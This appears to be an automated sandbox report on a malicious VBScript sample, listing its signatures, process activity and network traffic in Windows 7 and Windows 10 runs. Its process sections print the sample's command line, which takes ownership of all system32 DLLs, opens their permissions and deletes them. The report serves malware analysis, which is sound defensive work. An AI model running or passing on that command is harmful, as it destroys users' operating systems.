Malware Analysis Report

2024-11-16 12:55

Sample ID 240809-zk187aybrq
Target file01.vbs
SHA256 b22c20ce6607e7b4caa3109c47df38d7bfb151dd60619e406037d2a5e54be6da
Tags
discovery exploit
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

b22c20ce6607e7b4caa3109c47df38d7bfb151dd60619e406037d2a5e54be6da

Threat Level: Likely malicious

The file file01.vbs was found to be: Likely malicious.

Malicious Activity Summary

discovery exploit

Possible privilege escalation attempt

Modifies file permissions

Checks computer location settings

Enumerates physical storage devices

Suspicious use of FindShellTrayWindow

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-09 20:47

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-09 20:47

Reported

2024-08-09 20:50

Platform

win7-20240708-en

Max time kernel

117s

Max time network

124s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2208 wrote to memory of 2836 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2208 wrote to memory of 2836 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2208 wrote to memory of 2836 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 2836 wrote to memory of 3048 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2836 wrote to memory of 3048 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2836 wrote to memory of 3048 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 2836 wrote to memory of 2748 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2836 wrote to memory of 2748 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 2836 wrote to memory of 2748 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-09 20:47

Reported

2024-08-09 20:47

Platform

win10v2004-20240802-en

Max time kernel

22s

Max time network

7s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.vbs"

Signatures

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\takeown.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\System32\WScript.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4544 wrote to memory of 4880 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4544 wrote to memory of 4880 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cmd.exe
PID 4880 wrote to memory of 5020 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4880 wrote to memory of 5020 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\takeown.exe
PID 4880 wrote to memory of 2832 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 4880 wrote to memory of 2832 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\icacls.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 3268 wrote to memory of 1716 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\file01.vbs"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit

C:\Windows\system32\takeown.exe

takeown /f C:\Windows\system32\*.dll

C:\Windows\system32\icacls.exe

icacls C:\Windows\system32\*.dll /grant Everyone:(F)

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp

Files

N/A